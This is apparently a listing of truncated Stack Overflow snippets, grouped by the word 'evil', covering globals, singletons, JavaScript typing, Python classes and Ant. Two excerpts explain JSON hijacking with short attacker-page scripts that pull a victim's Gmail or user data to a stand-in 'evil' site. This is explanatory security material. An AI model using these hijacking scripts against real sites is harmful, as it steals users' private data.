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PHP global in functions
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Globals are evil
This is true for the global keyword as well as everything else that reaches from a local scope to the global scope (statics, singletons, registries, constants). You do not want to use them. A function call should not ha...
Better way to get type of a Javascript variable?
... JavaScript, someone will eventually invariably point that this is somehow evil, so here is a link to an answer that covers this pretty well.
An alternative is to use Object.prototype.toString.call
Object.prototype.toString.call([])
Object.prototype.toString.call(/./)
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Get URL query string parameters
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..and is an evil, evil function that should not exist.
– Zenexer
Jul 17 '13 at 2:31
6
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Java: Static Class?
...eam, static members and classes do not participate in OO and are therefore evil. No, not evil, but seriously, I would recommend a regular class with a singleton pattern for access. This way if you need to override behavior in any cases down the road, it isn't a major retooling. OO is your friend ...
Why do people put code like “throw 1; ” and “for(;;);” in front of json responses? [du
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Consider that, after checking your GMail account, that you go visit my evil page:
<script type="text/javascript">
Object = function() {
ajaxRequestToMyEvilSite(JSON.serialize(this));
}
</script>
<script type="text/javascript" src="http://gmail.com/inbox/listMessage"></scr...
Is there a use-case for singletons with database access in PHP?
...ch singletons are bashed, you will also see references to 'globals' being 'evil'.
Let's face it - ANYthing that is not used properly, abused, misused, IS evil. That is not limited to any language, any coding concept, any method. Whenever you see someone issuing blanket statements like 'X is evil',...
Why do we use __init__ in Python classes?
...ributes of your instances.
See the following example:
>>> class EvilTest(object):
... attr = []
...
>>> evil_test1 = EvilTest()
>>> evil_test2 = EvilTest()
>>> evil_test1.attr.append('strange')
>>>
>>> print "This is evil:", evil_test1.at...
Ant: How to execute a command for each file in directory?
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ant-contrib is evil; write a custom ant task.
ant-contrib is evil because it tries to convert ant from a declarative style to an imperative style. But xml makes a crap programming language.
By contrast a custom ant task allows you to writ...
What 'sensitive information' could be disclosed when setting JsonRequestBehavior to AllowGet
...e context of their own site by using a script tag in the HTML. e.g. on www.evil.com:
<script src="http://www.example.com/User/GetUser/32"></script>
This JavaScript should be useless to www.evil.com because there should be no way of reading the object returned by your web method. Howe...
How do I list one filename per output line in Linux?
...at 21:24
Gilles 'SO- stop being evil'Gilles 'SO- stop being evil'
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